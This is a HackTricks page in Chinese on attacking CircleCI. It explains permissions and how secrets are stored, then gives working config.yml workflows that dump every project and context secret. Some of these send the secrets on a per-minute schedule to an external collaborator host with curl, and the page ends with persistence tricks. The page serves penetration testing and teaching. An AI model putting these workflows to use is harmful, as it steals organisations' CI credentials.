CircleCI 安全

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

CircleCI 是一个持续集成平台,您可以在其中定义模板,指示您希望它对某些代码做什么以及何时执行。通过这种方式,您可以自动化测试部署,例如直接从您的代码库主分支

权限

CircleCI 继承了与登录的账户相关的github和bitbucket的权限。
在我的测试中,我检查到,只要您在github上对代码库拥有写权限,您就能够管理CircleCI中的项目设置(设置新的ssh密钥,获取项目api密钥,创建带有新CircleCI配置的新分支…)。

然而,您需要成为代码库管理员才能将代码库转换为CircleCI项目

环境变量和秘密

根据文档,有不同的方法可以在工作流中加载环境变量的值

内置环境变量

每个由CircleCI运行的容器将始终具有文档中定义的特定环境变量,如CIRCLE_PR_USERNAMECIRCLE_PROJECT_REPONAMECIRCLE_USERNAME

明文

您可以在命令中以明文声明它们:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

您可以在 运行环境 中以明文声明它们:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

您可以在 build-job environment 中以明文声明它们:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

您可以在 容器的环境 中以明文声明它们:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

项目秘密

这些是秘密,只有项目(通过任何分支)可以访问
您可以在 https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables 中查看它们声明

Caution

导入变量” 功能允许从其他项目导入变量到这个项目。

上下文秘密

这些是组织范围的秘密。默认情况下,任何仓库都可以访问存储在这里的任何秘密:

Tip

但是,请注意,可以选择不同的组(而不是所有成员)仅向特定人员提供访问秘密的权限
这目前是提高秘密安全性的最佳方法之一,不允许所有人访问,而只是一些人。

攻击

搜索明文秘密

如果您有访问VCS(如github),请检查每个仓库每个分支的文件 .circleci/config.yml搜索潜在的明文秘密

秘密环境变量和上下文枚举

检查代码,您可以找到在每个 .circleci/config.yml 文件中使用所有秘密名称。您还可以从这些文件中获取上下文名称,或在网络控制台中查看:https://app.circleci.com/settings/organization/github/<org_name>/contexts

外泄项目秘密

Warning

为了外泄所有项目和上下文秘密,您只需对整个github组织中的1个仓库拥有写入权限(并且您的帐户必须有权访问上下文,但默认情况下每个人都可以访问每个上下文)。

Caution

导入变量” 功能允许从其他项目导入变量到这个项目。因此,攻击者可以从所有仓库导入所有项目变量,然后一起外泄所有变量

所有项目秘密始终在作业的环境中设置,因此只需调用 env 并将其混淆为 base64,就会在工作流网络日志控制台中外泄秘密:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

如果您无法访问网络控制台,但您有对代码库的访问权限并且知道使用了CircleCI,您可以创建一个工作流,该工作流每分钟触发一次并且将秘密导出到外部地址

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

提取上下文秘密

您需要指定上下文名称(这也将提取项目秘密):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

如果您无法访问网络控制台,但您有对代码库的访问权限并且知道使用了CircleCI,您可以修改一个每分钟触发的工作流,并且该工作流将秘密导出到外部地址

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

Warning

仅仅在一个仓库中创建一个新的 .circleci/config.yml 不足以触发 circleci 构建。你需要在 circleci 控制台中将其启用为项目

逃往云端

CircleCI 让你可以选择在 他们的机器上或你自己的机器上运行构建
默认情况下,他们的机器位于 GCP,你最初无法找到任何相关信息。然而,如果受害者在 他们自己的机器上运行任务(可能是在云环境中),你可能会找到一个 包含有趣信息的云元数据端点

请注意,在之前的示例中,一切都是在 docker 容器内启动的,但你也可以 请求启动一台虚拟机(这可能具有不同的云权限):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

或者甚至是一个可以访问远程 Docker 服务的 Docker 容器:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

持久性

  • 可以在 CircleCI 中 创建 用户令牌 以使用用户访问权限访问 API 端点。
  • https://app.circleci.com/settings/user/tokens
  • 可以 创建项目令牌 以使用令牌授予的权限访问项目。
  • https://app.circleci.com/settings/project/github/<org>/<repo>/api
  • 可以 向项目添加 SSH 密钥
  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh
  • 可以在一个意外的项目中 在隐藏分支中创建一个 cron 作业,每天 泄露 所有 上下文环境 变量。
  • 或者甚至在一个分支中创建/修改一个已知作业,每天 泄露 所有上下文和 项目秘密
  • 如果你是 GitHub 的所有者,你可以 允许未验证的 orbs 并在作业中将其配置为 后门
  • 你可以在某些任务中找到 命令注入漏洞 并通过 秘密 修改其值来 注入命令

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks